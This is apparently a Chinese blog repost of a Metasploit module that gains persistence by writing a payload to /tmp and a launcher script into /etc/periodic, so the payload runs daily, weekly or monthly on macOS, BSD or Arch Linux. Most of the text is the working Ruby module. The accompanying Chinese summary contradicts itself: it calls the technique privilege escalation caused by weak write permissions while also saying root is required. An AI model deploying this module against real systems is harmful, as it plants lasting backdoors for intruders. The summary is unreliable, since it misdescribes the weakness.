Periodic Script Persistence

漏洞信息

漏洞名称: Periodic Script Persistence

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: 该漏洞利用模块通过在/etc/periodic目录下写入脚本实现持久化攻击。根据The Art of Mac Malware的资料,截至2024年尚未有恶意软件采用此种方式进行持久化。此攻击需要root权限执行,适用于BSD、OSX或Arch Linux系统。

受影响产品: 该漏洞主要影响Mac OS X、BSD和Arch Linux操作系统。这些系统广泛应用于个人电脑、服务器和开发环境中,特别是在需要高安全性和稳定性的场景下。

漏洞解释: 该漏洞属于权限提升类型,攻击者通过在/etc/periodic目录下写入恶意脚本,利用系统的周期性任务执行机制,实现持久化攻击。漏洞的根源在于系统对/etc/periodic目录的写入权限控制不足,允许攻击者在没有足够权限的情况下写入脚本。

影响分析: 该漏洞允许攻击者在目标系统上实现持久化,即使在系统重启后也能保持攻击效果。攻击者可以利用此漏洞执行任意代码,可能导致数据泄露、服务中断或其他恶意行为。由于需要root权限,攻击者通常需要先获取系统的root访问权限。此漏洞的利用可以自动化执行,增加了其潜在的危险性。

产品名称: Mac OS X, BSD, Arch Linux

来源: https://github.com/rapid7/metasploit-framework/blob/0f7aafa48e8566a0067f35183478c977f39792f1/modules%2Fexploits%2Fmulti%2Flocal%2Fperiodic_script_persistence.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Periodic Script Persistence',
'Description' => %q{
This module will achieve persistence by writing a script to the /etc/periodic directory.
According to The Art of Mac Malware no such malware species persist in this manner (2024).
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
},
'License' => MSF_LICENSE,
'Author' => [
'gardnerapp',
'msutovsky-r7'
],
'References' => [
[
'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'
]
],
'DisclosureDate' => '2012-04-01',
'Privileged' => true,
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 4,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script', Rex::Text.rand_text_alphanumeric(rand(6..13))]),
OptString.new('PAYLOAD_DIR', [true, 'Directory to write payload to', '/tmp/']),
OptString.new('PAYLOAD_FILENAME', [true, 'Name of the payload file', Rex::Text.rand_text_alphanumeric(rand(6..13))])
])
end

def check
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

if writable? periodic
return CheckCode::Vulnerable "#{periodic} is writable"
else
CheckCode::Safe "Unable to write to #{periodic}"
end
end

def write_payload(payload_bin)
payload_dir = datastore['PAYLOAD_DIR']

print_status("Detected operating system: #{session.platform}")

fail_with(Failure::BadConfig, "The #{payload_dir} is not writable.") unless writable? payload_dir

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = payload_dir + datastore['PAYLOAD_FILENAME']

if upload_and_chmodx(payload_file, payload_bin)
print_good "Writing payload to #{payload_file} suceeded"
else
fail_with(Failure::UnexpectedReply, "Unable to write payload to #{script}")
end

# add payload to cleanup
@clean_up_rc << "rm #{payload_file} "
payload_file
end

def write_periodic_script(payload_file)
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

periodic_script = periodic_dir + datastore['PERIODIC_SCRIPT_NAME']

@clean_up_rc << periodic_script.to_s

if upload_and_chmodx(periodic_script, payload_file.to_s)
print_status "Succesfully wrote periodic script to #{periodic_script}. This will execute #{payload_file}."
else
fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}")
end
end

def exploit
@clean_up_rc = 'sudo '

if target['Arch'] == ARCH_PYTHON
print_status 'Getting python version & path.'

python = cmd_exec('which python3 || which python2 || which python')

if python.blank? || !file?(python)
fail_with(Failure::PayloadFailed, 'Unable to find python version. ')
end

print_good "Found python path #{python}"

payload_bin = "#{python}\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.raw
else
payload_bin = generate_payload_exe
end

payload_file = write_payload payload_bin

write_periodic_script payload_file

print_status("Cleanup command '#{@clean_up_rc}'")
end
end



Periodic Script Persistence
http://example.com/2025/07/28/github_1685277459/
作者
lianccc
发布于
2025年7月28日
许可协议